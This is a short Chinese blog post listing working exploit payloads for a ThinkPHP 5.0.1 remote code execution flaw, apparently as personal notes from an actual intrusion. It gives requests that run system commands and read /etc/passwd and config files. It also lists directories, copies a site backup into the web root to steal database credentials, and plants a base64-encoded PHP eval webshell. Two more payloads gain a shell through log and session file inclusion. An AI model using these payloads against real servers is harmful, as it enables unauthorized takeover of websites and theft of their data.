thinkphp 5.0.1的坑

2021年04月18日

判断是否存在

http://xxx.com/public

/index.php?s=captcha

/?s=captcha

s=phpinfo()&_method=__construct&filter=assert
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&method=get&filter[]=call_user_func&get[0]=phpinfo&get[1]=1

http:/xxxx.com/?s=index/index/index

s=ipconfig&_mehthod=__construct$method=&filter[]=system

仅有assert函数可用的情况下 如何写入  如何读取mysql

include函数,可以根据此函数查看一些文件及其配置

s=include("/etc/passwd")&_method=__construct&filter=assert

读取文件

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../application/.htaccess
s=include("../application/.htaccess")&_method=__construct&filter=assert

//ps:如果不加.. 请加上完整路径

在读取出来文件之后,由于一些关键目录受到了管理员的更改,所以为了读取出来文件夹目录,我们用到了var_dump函数

var_dump函数,可以查看该路径下的文件,文件夹

s=var_dump(scandir('../application/'))&_method=__construct&filter=assert

通过报错得知网站的目录是 /data/wwwroot/public/

意外发现在/data/目录下有网站备份文件

复制文件

s=copy("/data/ws.tar", "/data/wwwroot/public/ws.tar")&_method=__construct&filter=assert

直接通过web下载下来,本地寻找config文件,连接进mysql

一个针对5.0.1版本研究出来的写入命令

file_put_contents函数,可以直接写入文件

s=file_put_contents('/data/wwwroot/test.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWydhYWFhJ107ZXZhbCgkcGFzcyk7Pz4'))&_method=__construct&filter=assert

日志包含

写shell进日志
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>通过日志包含getshell
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/201901/21.log&x=phpinfo();

session包含getshell

写shell进session
POST /?s=captcha 
Cookie: PHPSESSID=kking

_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1 
 
包含session getshell

POST /?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&get[]=/tmp/sess_kking&server[]=1



分类:技术文章 | 标签: thinkphp | 查看:38
Linux服务器使用speedtest-cli测速

发表评论: